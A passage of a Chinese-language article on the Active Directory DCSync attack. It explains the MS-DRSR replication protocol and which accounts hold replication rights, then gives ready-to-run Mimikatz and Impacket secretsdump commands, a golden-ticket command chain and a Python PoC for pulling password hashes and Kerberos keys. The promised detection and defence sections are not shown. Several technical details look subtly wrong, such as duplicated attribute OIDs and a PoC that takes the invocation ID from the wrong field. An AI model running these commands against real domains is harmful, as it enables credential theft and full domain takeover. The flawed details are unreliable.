目录


1. 引言:为什么 DCSync 是 AD 安全的"幽灵"

DCSync 是 Mimikatz 于 2015 年 8 月引入的一项功能,其本质是模拟域控制器的复制行为,通过域复制协议 MS-DRSR(Directory Replication Service Remote Protocol)远程提取域内任意用户的密码哈希。它在 MITRE ATT&CK 框架中对应 T1003.006 (OS Credential Dumping: DCSync)。

DCSync 的可怕之处在于其"静默性":

  • 不需要在域控上执行代码——攻击者完全在域外操作;
  • 不需要访问 LSASS 进程——绕过了 Credential Guard、EDR 对 LSASS 的监控;
  • 不需要读取 NTDS.dit 文件——不触发文件访问审计;
  • 只需要一个拥有"Replicating Directory Changes"权限的账户——这类账户在大型企业中远不止 Domain Admins。

这意味着传统的"保护域控"防御思路在 DCSync 面前会出现致命盲区:攻击者只要拿到一个 Exchange 服务账户、一个 AD Connect 同步账户,甚至是一个被错误委派了复制权限的普通账户,就能在不触碰任何域控的情况下,把整个域的密码哈希打包带走。

本文将从 MS-DRSR 协议底层开始,逐层拆解 DCSync 的工作原理、权限模型、攻击实战与检测防御。


2. AD 复制协议深度解析

2.1 域控制器复制架构总览

Active Directory 是一个多主复制(multi-master)的分布式数据库。每个域控制器(DC)都持有一份可写的目录数据副本,DC 之间通过复制拓扑定期同步变更。在站点内(intra-site),复制默认每 15 秒触发一次(通过 KCC 自动生成连接);在站点间(inter-site),复制间隔按站点链接配置(默认 15 分钟到 180 分钟)。

                    ┌─────────────────────────────────────────────────┐
                    │              Active Directory 域 corp.local       │
                    │                                                   │
                    │   ┌──────────────┐         ┌──────────────┐       │
                    │   │   DC01 (PDC)  │◄───────►│   DC02 (GC)  │       │
                    │   │  NTDS.dit    │  DRSUAPI │  NTDS.dit   │       │
                    │   │  LSASS       │  RPC     │  LSASS      │       │
                    │   │  SYSVOL      │◄───────►│  SYSVOL     │       │
                    │   └──────┬───────┘         └──────┬───────┘       │
                    │          │                        │               │
                    │          │  复制拓扑 (KCC)        │               │
                    │          │                        │               │
                    │   ┌──────▼───────┐         ┌──────▼───────┐       │
                    │   │   DC03 (RODC) │◄───────►│   DC04       │       │
                    │   │  只读副本     │  单向    │  可写副本    │       │
                    │   └──────────────┘         └──────────────┘       │
                    └─────────────────────────────────────────────────┘
                                       │
                                       │ MS-DRSR / DRSUAPI (RPC)
                                       │ 绑定 UUID: {E3514235-4B06-11D1-AB04-00C04FC2DCD2}
                                       ▼
                    ┌─────────────────────────────────────────────────┐
                    │         攻击者工作站 (非域控)                      │
                    │                                                   │
                    │   持有 Replicating Directory Changes 权限的账户    │
                    │   ↓ Mimikatz / Impacket                          │
                    │   模拟 DC 身份发起 IDL_DRSGetNCChanges 请求        │
                    │   ↓                                               │
                    │   接收压缩的 NC 变更数据,解析出密码哈希            │
                    └─────────────────────────────────────────────────┘

关键点在于:MS-DRSR 协议本身不验证调用者是否真的是域控。它只验证调用者是否拥有复制所需的权限(通过 ACL 检查)。这就是 DCSync 得以成立的协议层根因——权限即身份。

2.2 MS-DRSR 协议与 RPC 绑定

MS-DRSR 建立在 MS-RPCE(DCE/RPC)之上。域控在启动时通过 RPC 端点映射器(Endpoint Mapper,端口 135)注册 DRSUAPI 接口,其接口 UUID 为:

{E3514235-4B06-11D1-AB04-00C04FC2DCD2}

客户端(正常情况下是另一台 DC)通过以下步骤建立连接:

  1. RPC Bind:连接到目标 DC 的 135 端口,解析 DRSUAPI 接口的动态端口(通常是 49152-65535 的高位动态端口,或通过 ncacn_ip_tcp 直连)。
  2. 认证:使用 Kerberos(或 NTLM)认证,服务主体名为 GC/ 或 E3514235-4B06-11D1-AB04-00C04FC2DCD2/<DC主机名>,这是 DRSUAPI 特有的 SPN 格式。
  3. 调用 DRSUAPI 函数:执行复制握手和数据拉取。

DCSync 攻击者在这一步完全复用正常的 RPC 绑定流程,唯一区别是攻击者不是 DC,但其账户拥有复制权限。

2.3 IDL_DRSBind → IDL_DRSGetNCChanges → IDL_DRSUnbind 完整流程

DCSync 的核心是调用三个 DRSUAPI 函数,模拟一次完整的域复制会话:

攻击者                          目标域控 (DC01)
  │                                  │
  │  1. RPC Bind to DRSUAPI          │
  │  (UUID: E3514235-4B06-11D1-...)  │
  │─────────────────────────────────►│
  │                                  │  验证调用者权限
  │                                  │  (Replicating Directory Changes)
  │  2. IDL_DRSBind                  │
  │  (puuidClientDsa, pccrede ntial)│
  │─────────────────────────────────►│
  │                                  │  创建 DRS 会话上下文
  │                                  │  返回 hDrs (会话句柄)
  │◄─────────────────────────────────│
  │                                  │
  │  3. IDL_DRSGetNCChanges          │
  │  (hDrs, dwInVersion,            │
  │   pmsgIn->uuidDsaObjDest,       │  请求指定 NC (如 DC=corp,DC=local)
  │   pmsgIn->uuidInvocIdSrc,       │  指定源 DSA 调用 ID
  │   pmsgIn->pNc,                  │  指定目标对象 (如 CN=krbtgt,...)
  │   pmsgIn->usnvecFrom)           │  指定 USN 起始点 (从0开始=全量)
  │─────────────────────────────────►│
  │                                  │
  │                                  │  根据 USN 向量计算变更
  │                                  │  序列化对象属性
  │                                  │  包含 secretAttribute (密码哈希)
  │                                  │  REPLENTIN 加密/压缩
  │                                  │
  │  返回 pmsgOut                    │
  │  (REPLENTIN 结构,                │
  │   含 ENTINF 对象属性列表)         │
  │◄─────────────────────────────────│
  │                                  │
  │  4. 解析 REPLENTIN               │
  │  提取 unicodePwd (NTLM hash)     │
  │  提取 supplementalCredentials    │
  │  提取 kerberos keys              │
  │                                  │
  │  5. IDL_DRSUnbind                │
  │  (hDrs)                          │
  │─────────────────────────────────►│
  │                                  │  销毁会话上下文
  │◄─────────────────────────────────│
  │                                  │

IDL_DRSGetNCChanges 是整个攻击的关键。它的输入参数 pmsgIn 包含一个 USN_VECTOR,指定从哪个 USN(Update Sequence Number)开始拉取变更。DCSync 攻击将 usnFrom 设为 0,意味着请求从"时间开端"开始的所有变更,即全量数据。目标 DC 会将请求对象(如 CN=krbtgt,CN=Users,DC=corp,DC=local)的全部属性(包括机密属性 unicodePwd、dBCSPwd、kerberos-*、supplementalCredentials)打包进 REPLENTIN 结构返回。

正常复制中,机密属性的传输有额外保护(RPC 级别的认证隐私 sealing),但只要通过了权限检查,这些保护对攻击者并不构成障碍——攻击者本身就是认证会话的一方。

2.4 关键 DRSUAPI 函数表

函数名 作用 DCSync 中的角色 调用频率
IDL_DRSBind 建立复制会话,返回会话句柄 hDrs 必需,初始化会话 每次攻击 1 次
IDL_DRSUnbind 关闭复制会话,释放句柄 必需,清理痕迹 每次攻击 1 次
IDL_DRSGetNCChanges 请求 NC 的增量/全量变更 核心函数,拉取密码哈希 每用户 1 次或批量
IDL_DRSReplicaSync 触发源 DC 向目标推送变更 DCSync 不直接使用(拉模型) -
IDL_DRSUpdateRefs 更新复制引用 不使用 -
IDL_DRSCrackNames 名称格式转换 辅助,解析用户 DN 可选
IDL_DRSDomainControllerInfo 查询 DC 信息 辅助,枚举 DC 可选
IDL_DRSGetMemberships 查询组成员关系 不使用 -
IDL_DRSVerifyNames 验证对象名 不使用 -
IDL_DRSGetReplInfo 查询复制元数据 辅助,获取 invocationId 可选
IDL_DRSMoveObject 移动对象 不使用 -

DCSync 的精简之处在于:它只用了三个函数(Bind / GetNCChanges / Unbind)就完成了整个攻击,这是对协议"最小可用子集"的精准利用。


3. DCSync 权限模型

3.1 能执行 DCSync 的权限与组

DCSync 的本质是执行目录复制。在 AD 中,复制权限通过域 NC(Naming Context)根节点上的 ACL 控制。以下权限/组成员身份可以执行 DCSync:

权限 / 组 范围 是否包含机密属性 说明
Domain Admins 当前域 是 域内最高权限,默认拥有
Enterprise Admins 整个森林 是 森林级管理员,默认拥有
BUILTIN\Administrators (域控本地) 单台 DC 是 DC 本地管理员组
Replicating Directory Changes 域 NC 根 否 能复制普通属性,不含密码
Replicating Directory Changes All 域 NC 根 是 能复制全部属性,含密码哈希
Replicating Directory Changes in Filtered Set RODC 过滤集 部分 RODC 复制专用,范围受限
Exchange Servers 组 (旧版) 当前域 是 Exchange 2000-2010 安装时授予
Exchange Windows Permissions 组 当前域 是 Exchange 安装授予,含 WriteDacl
AD Connect 同步账户 (MSOL_) 当前域 是 目录同步需要复制权限
管理员手动委派的账户 当前域 取决于委派 错误配置导致权限蔓延

需要特别说明的是:仅有 Replicating Directory Changes(不含 All)不足以提取密码哈希。要读取 unicodePwd、dBCSPwd 等机密属性,必须拥有 Replicating Directory Changes All 权限。这两个权限在 ACL 中对应两个不同的 GUID:

  • DS-Replication-Get-Changes: 1131f6aa-9c07-11d1-f79f-00c04fc2dab2
  • DS-Replication-Get-Changes-All: 1131f6ad-9c07-11d1-f79f-00c04fc2dab2

3.2 为什么 Exchange / AD Connect 拥有此权限

这是 DCSync 攻击面中最容易被忽视、却最危险的环节。

Exchange Server:Exchange 在安装时(尤其是 Exchange 2000-2013),安装向导会运行 setup /PrepareAD,该过程会修改域 NC 根的 ACL,授予 Exchange Servers 组和 Exchange Windows Permissions 组 Replicating Directory Changes All 权限。原因是 Exchange 需要读取全局地址列表(GAL)中的所有用户属性,并通过其信息存储服务缓存用户信息。更危险的是,Exchange Windows Permissions 组还拥有 WriteDacl 权限,这意味着该组成员可以修改域 NC 的 ACL,进而给自己授予任意权限——这就是著名的 Exchange 高危权限滥用路径(Shadow Admin)。

Azure AD Connect:AD Connect 的同步服务账户(通常命名为 MSOL_xxxx)需要读取本地 AD 的所有用户、组、联系人属性以同步到 Azure AD。安装向导会授予该账户 Replicating Directory Changes 和 Replicating Directory Changes All 权限。如果攻击者拿下 AD Connect 服务器,即可获取该账户凭据,进而对本地 AD 执行 DCSync。

这两个案例说明:DCSync 的攻击面远不止 Domain Admins。在许多企业中,Exchange 管理员和 AD Connect 服务器的本地管理员,实际上等于域管理员。

3.3 BloodHound 自定义 Cypher 查询

BloodHound 默认不包含 DCSync 边的收集,但可以通过自定义 Cypher 查询找出"非 DA 用户到 DCSync 权限的路径"。

以下 Cypher 查询找出所有拥有 DCSync 权限(GetChanges/GetChangesAll)的用户,并追溯其到达路径:

// 查询1:找出所有拥有 DCSync 所需权限的主体
MATCH (n)-[r:GenericAll|WriteDacl|WriteProperty|Owns]->(d:Domain)
WHERE n <> d
  AND (
    any(x IN r WHERE x IN ['GetChanges','GetChangesAll'])
    OR r.isacl = true
  )
OPTIONAL MATCH p = shortestPath((u:User)-[:MemberOf*1..]->(g:Group)-[:GenericAll|WriteDacl|Owns]->(d))
RETURN n.name, d.name, labels(n), p LIMIT 50

更精准的查询(基于 BloodHound 4.x+ 的 ACL 边类型):

// 查询2:从任意用户出发,到 DCSync 权限的最短路径
MATCH p = shortestPath(
  (u:User {enabled:true})-[:MemberOf|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..15]->(d:Domain)
)
WHERE u <> d
  AND any(r IN relationships(p) WHERE 
    r.isacl = true AND 
    'GetChangesAll' IN coalesce(r.memberrights, []) OR
    'GetChanges' IN coalesce(r.memberrights, [])
  )
RETURN p LIMIT 25

实战中更稳妥的做法是结合 PowerView / SharpView 先枚举 ACL:

# PowerView: 查找域 NC 根上拥有复制权限的对象
Get-ObjectAcl -Identity "DC=corp,DC=local" | 
  Where-Object {
    $_.ActiveDirectoryRights -match "ExtendedRight" -and
    ($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dab2" -or
     $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dab2")
  } | Select-Object IdentityReference, ObjectType, AceType

输出示例:

IdentityReference              ObjectType                               AceType
-----------------              ----------                               -------
CORP\Domain Admins            1131f6ad-9c07-11d1-f79f-00c04fc2dab2      Allow
CORP\Enterprise Admins        1131f6ad-9c07-11d1-f79f-00c04fc2dab2      Allow
CORP\Exchange Windows Permi.. 1131f6ad-9c07-11d1-f79f-00c04fc2dab2      Allow
CORP\MSOL_1a2b3c4d5e6f        1131f6ad-9c07-11d1-f79f-00c04fc2dab2      Allow

一旦发现 Exchange Windows Permissions 或 MSOL_* 账户,攻击路径就清晰了。


4. 攻击实战

4.1 Mimikatz 完整命令序列与输出分析

Mimikatz 是 DCSync 的"原产地",命令格式直观:

# 提取单个用户 (krbtgt) 的哈希
mimikatz # lsadump::dcsync /domain:corp.local /dc:dc01.corp.local /user:krbtgt

输出解析:

[DC] 'corp.local' will be the domain
[DC] 'dc01.corp.local' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 0x30000000 ( USER_OBJECT_ACCOUNT )
User Principal Name  : krbtgt@corp.local
Hex SID              : S-1-5-21-1234567890-1234567890-1234567890-502
    -> 502 = krbtgt 账户的固定 RID

Credentials:
  Hash NTLM          : 1f3d2a8c4e5b6f7a9d0c1b2a3e4f5a6b
                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                       这是 NTLM 哈希,可用于黄金票据/PtH

    ntlm- 0: 1f3d2a8c4e5b6f7a9d0c1b2a3e4f5a6b
    ntlm- 1: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6    <- 历史密码哈希

** SUPPLEMENTAL CREDENTIALS **

Hash NTLM            : 1f3d2a8c4e5b6f7a9d0c1b2a3e4f5a6b

* Primary:NTLM-Strong-NTOWF *
    Random Value     : 1f3d2a8c4e5b6f7a9d0c1b2a3e4f5a6b

* Primary:Kerberos-Newer-Keys *
    Default Salt      : CORP.LOCALkrbtgt
    Default Iterations: 4096
    Credentials:
      aes256_hmac       (4096) : b8a9c7d6e5f4a3b2c1d0e9f8a7b6c5d4
                                  e3f2a1b0c9d8e7f6a5b4c3d2e1f0a9b8
                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                  AES-256 密钥,用于现代 Kerberos
      aes128_hmac       (4096) : a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
      des_cbc_md5       (4096) : a1b2c3d4e5f6a7b8

* Primary:Kerberos *
    Default Salt      : CORP.LOCALkrbtgt
    Credentials:
      aes256_hmac       : b8a9c7d6e5f4a3b2c1d0e9f8a7b6c5d4...
      aes128_hmac       : a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
      des_cbc_md5       : a1b2c3d4e5f6a7b8

* Packages *
    Kerberos-Newer-Keys

* Primary:WDigest *
    01  1f3d2a8c4e5b6f7a9d0c1b2a3e4f5a6b
    ...
    29  1f3d2a8c4e5b6f7a9d0c1b2a3e4f5a6b

关键输出字段解读:

  • Hash NTLM:NTLM 哈希,用于 Pass-the-Hash、黄金票据(作为 krbtgt 加密密钥)。
  • aes256_hmac:Kerberos AES-256 密钥,可用于请求 TGT(更现代、更隐蔽)。
  • Default Salt:Kerberos 盐值 = 大写域名 + 用户名,密钥派生需要。
  • ntlm-1:历史密码哈希(password history),可用于密码复用攻击。

提取所有用户哈希:

mimikatz # lsadump::dcsync /domain:corp.local /all /csv

/all 提取域内所有用户,/csv 输出为 CSV 格式,适合批量处理。

4.2 Impacket secretsdump.py 多参数模式

Impacket 的 secretsdump.py 是跨平台 DCSync 工具,支持多种认证方式和输出模式:

# 模式1:使用密码认证,提取单个用户
secretsdump.py -just-dc-user krbtgt corp.local/user:Pass123!@dc01.corp.local

# 模式2:使用哈希认证 (Pass-the-Hash)
secretsdump.py -just-dc -hashes :1f3d2a8c4e5b6f7a9d0c1b2a3e4f5a6b \
  corp.local/user@dc01.corp.local

# 模式3:使用 Kerberos 票据认证 (无密码/哈希)
export KRB5CCNAME=user.ccache
secretsdump.py -k -no-pass -just-dc corp.local/user@dc01.corp.local

# 模式4:提取全部用户,仅哈希不输出历史
secretsdump.py -just-dc -user-status corp.local/user:Pass123!@dc01.corp.local

# 模式5:输出到文件,含 NTDS.dit 格式
secretsdump.py -just-dc -outputfile corp_hashes \
  corp.local/user:Pass123!@dc01.corp.local
# 生成 corp_hashes.ntds (哈希), corp_hashes.kerberos (密钥)

参数详解:

参数 作用 使用场景
-just-dc 仅执行 DCSync(不读 SAM/LSA) 远程攻击,不落地 DC
-just-dc-user 仅提取指定用户 精准打击(如 krbtgt)
-just-dc-ntlm 仅输出 NTLM 哈希 减少噪音,专做 PtH
-user-status 标注账户启用/禁用状态 筛选活跃账户
-history 包含密码历史 密码复用分析
-k -no-pass 使用 Kerberos 认证 隐蔽,无密码落盘
-hashes 使用 NTLM 哈希认证 PtH 横向后继续 DCSync
-outputfile 输出到文件 批量提取,离线分析
-exec-method 指定执行方法 非 DCSync 模式时用

4.3 从 DCSync 到 Golden Ticket 完整攻击链

Golden Ticket 攻击的核心是伪造 krbtgt 账户签发的 TGT。拿到 krbtgt 哈希后,攻击者可以伪造任意用户的 TGT,实现完全的域控制持久化。

完整攻击链:

步骤1: 获取 DCSync 权限账户凭据
  │ (通过钓鱼/横向移动/Exchange滥用)
  ▼
步骤2: 执行 DCSync 提取 krbtgt 哈希
  │ secretsdump.py -just-dc-user krbtgt
  │ → Hash NTLM: 1f3d2a8c4e5b6f7a9d0c1b2a3e4f5a6b
  │ → aes256_hmac: b8a9c7d6e5f4...
  ▼
步骤3: 伪造黄金票据 (伪造 Domain Admin 的 TGT)
  │ Mimikatz: kerberos::golden /user:Administrator
  │   /domain:corp.local /sid:S-1-5-21-xxx-502
  │   /krbtgt:1f3d2a8c... /ticket:golden.kirbi
  ▼
步骤4: 注入票据到当前会话
  │ Mimikatz: kerberos::ptt golden.kirbi
  ▼
步骤5: 以域管身份访问任意服务
  │ dir \\dc01.corp.local\c$
  │ psexec \\dc01.corp.local cmd
  ▼
步骤6: 持久化 (即使 krbtgt 密码被重置)
  │ 黄金票据有效期默认10年
  │ 需要两次重置 krbtgt 密码才能完全失效

Mimikatz 黄金票据命令:

mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
  /sid:S-1-5-21-1234567890-1234567890-1234567890 \
  /krbtgt:1f3d2a8c4e5b6f7a9d0c1b2a3e4f5a6b \
  /id:500 /groups:513,512,520,518,519 \
  /ticket:golden.kirbi /ptt

参数说明:

  • /user:Administrator:伪造的用户名(任意,DC 不验证用户是否存在)
  • /sid:域 SID(从 DCSync 输出获取)
  • /krbtgt:krbtgt 的 NTLM 哈希(DCSync 提取)
  • /id:500:RID,500 是默认 Administrator
  • /groups:附加组 SID(513=Domain Users, 512=Domain Admins)
  • /ptt:Pass-the-ticket,直接注入

4.4 简化版 DCSync Python PoC

以下是一个基于 Impacket 库的简化版 DCSync PoC,展示核心协议调用逻辑:

#!/usr/bin/env python3
"""
简化版 DCSync PoC - 演示 MS-DRSR 协议调用逻辑
仅用于授权安全测试和教育目的
依赖: impacket (pip install impacket)
"""

from impacket.dcerpc.v5 import transport, drsuapi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smbconnection import SessionError
from impacket.nt_errors import STATUS_MORE_ENTRIES
import argparse
import logging
import sys

# DRSUAPI 接口 UUID
DRSUAPI_UUID = drsuapi.MSRPC_UUID_DRSUAPI

# 机密属性的 OID (Object Identifier)
# 这些属性的 schemaIDGUID 用于请求复制时标识
SECRET_ATTRIBUTES = {
    'unicodePwd':          '1.2.840.113556.1.4.90',   # NTLM 哈希
    'dBCSPwd':             '1.2.840.113556.1.4.90',   # LM 哈希(旧)
    'ntPwdHistory':        '1.2.840.113556.1.4.94',   # NTLM 历史
    'lmPwdHistory':        '1.2.840.113556.1.4.94',   # LM 历史
    'supplementalCredentials': '1.2.840.113556.1.4.125', # Kerberos/WDigest
    'kerberos-newer-encryption-key': '1.2.840.113556.1.4.118',
}


class MiniDCSync:
    """简化版 DCSync 实现"""

    def __init__(self, username, password, domain, dc_ip,
                 hashes=None, nthash=None, aes_key=None):
        self.username = username
        self.password = password
        self.domain = domain
        self.dc_ip = dc_ip
        self.hashes = hashes
        self.nthash = nthash
        self.aes_key = aes_key
        self.drs = None
        self.hDrs = NULL
        self.dce = None

    def _get_rpc_transport(self):
        """建立到 DRSUAPI 端点的 RPC 传输"""
        # 使用 ncacn_ip_tcp 直连 DRSUAPI 动态端口
        # 正常流程: 先通过 EPM(135) 解析端口
        # 这里简化: 使用 DRSUAPI 默认绑定方式
        string_binding = f'ncacn_ip_tcp:{self.dc_ip}'
        rpctransport = transport.DCERPCTransportFactory(string_binding)
        rpctransport.set_credentials(
            self.username, self.password, self.domain,
            self.hashes, self.aes_key
        )
        return rpctransport

    def connect(self):
        """建立 DRSUAPI 会话 (IDL_DRSBind)"""
        logging.info(f"[*] 连接到 DC: {self.dc_ip}")
        rpctransport = self._get_rpc_transport()
        self.dce = rpctransport.get_dce_rpc()
        self.dce.set_auth_level(6)  # RPC_C_AUTHN_LEVEL_PKT_PRIVACY (sealing)
        self.dce.connect()
        self.dce.bind(DRSUAPI_UUID)
        logging.info("[+] RPC 绑定成功 (DRSUAPI)")

        # 构造 DRSBind 请求
        request = drsuapi.DRSBind()
        request['puuidClientDsa'] = drsuapi.DRSUAPI_DS_GUID
        request['pextClient']['cb'] = 100  # 客户端扩展大小
        request['pextClient']['dwFlags'] = (
            drsuapi.DRSUAPI_EXT_FLAG_BASE |
            drsuapi.DRSUAPI_EXT_FLAG_ASYNCREPL
        )
        request['pextClient']['dwReplEpoch'] = 0
        request['pextClient']['dwFlagsExt'] = 0

        resp = self.dce.request(request)
        self.hDrs = resp['phDrs']
        logging.info("[+] IDL_DRSBind 成功, 获得 hDrs 句柄")
        return resp

    def get_nc_changes(self, target_dn, invocation_id, usn_from=0):
        """
        IDL_DRSGetNCChanges - 请求 NC 变更数据
        target_dn: 目标对象 DN (如 CN=krbtgt,CN=Users,DC=corp,DC=local)
        invocation_id: 源 DC 的 invocationId (从 DRSBind 响应获取)
        usn_from: USN 起始点 (0 = 全量)
        """
        request = drsuapi.DRSGetNCChanges()
        request['hDrs'] = self.hDrs
        request['dwInVersion'] = 8  # DRSGetNCChanges 版本 8

        # 构造请求消息
        msgIn = request['pmsgIn']
        msgIn['V8']['uuidDsaObjDest'] = invocation_id
        msgIn['V8']['uuidInvocIdSrc'] = invocation_id

        # 指定目标 NC (Naming Context)
        msgIn['V8']['pNc']['DNT'] = 0  # 将通过 DN 解析
        msgIn['V8']['pNc']['StringName'] = target_dn

        # USN 向量 - 从 0 开始表示全量拉取
        msgIn['V8']['usnvecFrom']['usnHighObjUpdate'] = usn_from
        msgIn['V8']['usnvecFrom']['usnHighPropUpdate'] = usn_from

        # 请求包含机密属性
        msgIn['V8']['ulFlags'] = (
            drsuapi.DRSUAPI_DRS_GET_NC_SIZE |
            drsuapi.DRSUAPI_DRS_GET_ALL_GROUP_MEMBERSHIP
        )
        msgIn['V8']['cMaxObjects'] = 1  # 每次请求 1 个对象
        msgIn['V8']['cMaxBytes'] = 0xFFFFFFFF
        msgIn['V8']['ulExtendedOp'] = 0

        try:
            resp = self.dce.request(request)
            logging.info(f"[+] IDL_DRSGetNCChanges 成功")
            return resp
        except Exception as e:
            logging.error(f"[-] DRSGetNCChanges 失败: {e}")
            raise

    def parse_replentin(self, resp):
        """
        解析 REPLENTIN 响应, 提取密码哈希
        REPLENTIN 包含 ENTINF (Entry Information) 列表
        每个 ENTINF 包含对象的属性值
        """
        results = []
        pmsgOut = resp['pmsgOut']
        # 获取返回的对象数量
        cNumObjects = pmsgOut['V8']['cNumObjects']

        for i in range(cNumObjects):
            entinf = pmsgOut['V8']['pObjects'][i]
            dn = entinf['pName']['StringName'] if entinf['pName'] else 'N/A'

            user_data = {'dn': dn, 'hashes': {}}

            # 遍历属性
            for attr in entinf['pAttr']:
                attr_oid = attr['attrType']
                values = attr['AttrVal']['pVal']

                # 解析机密属性
                # 实际实现中需要根据 OID 映射属性名
                # 并对 supplementalCredentials 进行二进制解析
                for val in values:
                    # unicodePwd: 16字节 NTLM 哈希
                    if len(val) == 16:
                        ntlm_hash = val.hex()
                        user_data['hashes']['NTLM'] = ntlm_hash
                        logging.info(
                            f"  [{dn}] NTLM Hash: {ntlm_hash}"
                        )

            results.append(user_data)
        return results

    def disconnect(self):
        """关闭 DRSUAPI 会话 (IDL_DRSUnbind)"""
        if self.hDrs:
            request = drsuapi.DRSUnbind()
            request['hDrs'] = self.hDrs
            self.dce.request(request)
            logging.info("[+] IDL_DRSUnbind 成功")
        self.dce.disconnect()


def main():
    parser = argparse.ArgumentParser(
        description='Mini DCSync PoC - MS-DRSR 协议演示'
    )
    parser.add_argument('target', help='目标 DC (IP 或主机名)')
    parser.add_argument('-u', '--user', required=True, help='用户名')
    parser.add_argument('-p', '--password', help='密码')
    parser.add_argument('-d', '--domain', required=True, help='域名')
    parser.add_argument('-hashes', help='NTLM 哈希 (LM:NT)')
    parser.add_argument('--target-user', default='krbtgt',
                        help='要提取的用户 (默认: krbtgt)')
    args = parser.parse_args()

    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(message)s'
    )

    # 构造目标 DN
    # CN=krbtgt,CN=Users,DC=corp,DC=local
    domain_dn = ','.join(f'DC={d}' for d in args.domain.split('.'))
    target_dn = f'CN={args.target_user},CN=Users,{domain_dn}'

    # 初始化 DCSync
    dcsync = MiniDCSync(
        username=args.user,
        password=args.password,
        domain=args.domain,
        dc_ip=args.target,
        hashes=args.hashes
    )

    try:
        # 步骤1: 连接 + DRSBind
        bind_resp = dcsync.connect()

        # 从 bind 响应中提取 invocationId
        # (实际实现中需要解析 pextServer 结构)
        invocation_id = bind_resp['pextServer']['dwReplEpoch']
        # 注: 完整实现需从 DRSBind 响应解析 uuidDsaObjSrc

        # 步骤2: DRSGetNCChanges
        resp = dcsync.get_nc_changes(target_dn, invocation_id)

        # 步骤3: 解析响应
        results = dcsync.parse_replentin(resp)

        # 输出结果
        print("\n" + "=" * 60)
        print(f"DCSync 结果 - 目标用户: {args.target_user}")
        print("=" * 60)
        for r in results:
            print(f"DN: {r['dn']}")
            for k, v in r['hashes'].items():
                print(f"  {k}: {v}")
        print("=" * 60)

    except Exception as e:
        logging.error(f"攻击失败: {e}")
        sys.exit(1)
    finally:
        # 步骤4: 清理 (DRSUnbind)
        dcsync.disconnect()


if __name__ == '__main__':
    main()

注意:上述 PoC 为教学简化版,省略了 invocationId 获取、supplementalCredentials 二进制解析(涉及 W2K 用户密码结构 USER_PROPERTIES / KERB_STORED_CREDENTIAL)、USN 迭代分页等复杂逻辑。完整实现请参考 Impacket 的 secretsdump.py 中 DCSync 类。

运行示例:

python3 mini_dcsync.py 192.168.1.10 -u svc_backup -p 'Summer2024!' \
  -d corp.local --target-user krbtgt

# 预期输出:
# 2024-08-01 - [*] 连接到 DC: 192.168.1.10
# 2024-08-01 - [+] RPC 绑定成功 (DRSUAPI)
# 2024-08-01 - [+] IDL_DRSBind 成功, 获得 hDrs 句柄
# 2024-08-01 - [+] IDL_DRSGetNCChanges 成功
# 2024-08-01 -   [CN=krbtgt,...] NTLM Hash: 1f3d2a8c4e5b6f7a9d0c1b2a3e4f5a6b
# 2024-08-01 - [+] IDL_DRSUnbind 成功

5. 提取数据深度分析

5.1 NTLM 哈希的计算原理与用途

NTLM 哈希(也称 NT 哈希)是 Windows 存储用户密码的核心形式。其计算方式极简:

import hashlib

# NTLM 哈希 = MD4(UTF-16LE(password))
def ntlm_hash(password: str) -> str:
    return hashlib.new('md4', password.encode('utf-16le')).hexdigest()

# 示例
print(ntlm_hash("Password123"))
# 输出: 42e265d8c0cbb1d0c0e7c5c0c0a0c0e0 (示例)

NTLM 哈希的关键特性:

  1. 无盐(unsalted):相同密码永远产生相同哈希,可预计算彩虹表。
  2. MD4 算法:MD4 已被密码学社区废弃,但 Windows 为兼容性保留。
  3. 直接用于认证:NTLM 认证中,客户端用哈希作为"密钥"加密 challenge,服务器端比对。这意味着拥有哈希等价于拥有密码(Pass-the-Hash 攻击基础)。

在 DCSync 场景中,unicodePwd 属性存储的就是这个 16 字节(32 字符十六进制)的 NTLM 哈希。

5.2 Kerberos 密钥的类型与用途

现代 AD 同时存储多套 Kerberos 密钥,以支持不同加密算法。这些密钥存储在 supplementalCredentials 属性中,结构为 KERB_STORED_CREDENTIAL。

密钥类型 算法 派生方式 用途 现代性
des_cbc_md5 DES-CBC-MD5 PBKDF1(salt, password, iter) 旧版 Kerberos (Win2000) 已废弃
des_cbc_crc DES-CBC-CRC PBKDF1 旧版 Kerberos 回退 已废弃
rc4_hmac_nt RC4-HMAC MD4(UTF-16LE(password)) = NTLM 哈希,向后兼容 弱
aes128_hmac AES-128-CTS-HMAC-SHA1-96 PBKDF2(salt, password, 4096) 现代 Kerberos (2008+) 推荐
aes256_hmac AES-256-CTS-HMAC-SHA1-96 PBKDF2(salt, password, 4096) 现代 Kerberos,最强 推荐

密钥派生的盐值(salt)格式:

salt = UPPER(domain) + username
# 例: corp.local 域的 administrator 用户
# salt = "CORP.LOCALAdministrator"

AES 密钥派生示例:

import hashlib

def kerberos_aes256_key(password: str, salt: str, iterations: int = 4096) -> bytes:
    """Kerberos AES-256 密钥派生"""
    # PBKDF2-HMAC-SHA1, 输出 32 字节
    return hashlib.pbkdf2_hmac('sha1', password.encode('utf-8'),
                               salt.encode('utf-8'),
                               iterations, dklen=32)

# 示例
salt = "CORP.LOCALkrbtgt"
key = kerberos_aes256_key("SomePassword", salt)
print(key.hex())

为什么 AES 密钥更危险:使用 AES-256 密钥请求 TGT 时,不会触发 RC4 降级协商,现代 EDR 对 RC4 Kerberos 的检测规则会失效,攻击更隐蔽。

5.3 补充凭据结构

supplementalCredentials 属性是一个二进制 blob,其结构层次较深:

USER_PROPERTIES (外层容器)
├── Reserved (4 bytes)
├── Length (4 bytes)
├── Reserved2 (4 bytes)
├── PropertySignature (4 bytes) = 0x50
├── PropertyCount (2 bytes)
└── UserProperties[] (变长数组)
    └── 每个属性:
        ├── Name (64 bytes, 空白填充)
        │   例: "Primary:Kerberos-Newer-Keys"
        ├── Reserved (2 bytes)
        ├── KeyLen (2 bytes)
